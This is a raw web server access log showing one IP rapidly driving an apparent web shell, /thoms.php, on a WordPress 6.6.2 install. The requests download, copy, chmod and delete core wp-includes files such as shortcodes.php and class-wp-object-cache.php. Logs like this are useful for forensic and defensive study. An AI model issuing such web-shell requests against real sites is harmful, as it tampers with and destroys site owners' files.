45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?dl=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?chmod=sitemaps&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?dl=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=sitemaps&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?del=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?chmod=ID3&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=ID3&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template-canvas.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=update.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?del=html-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=html-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=html-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22236 "https://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?chmod=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22132 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?chmod=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-smtp.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?chmod=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?dl=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22269 "https://163.245.207.76:443/thoms.php?dl=registration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:51 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
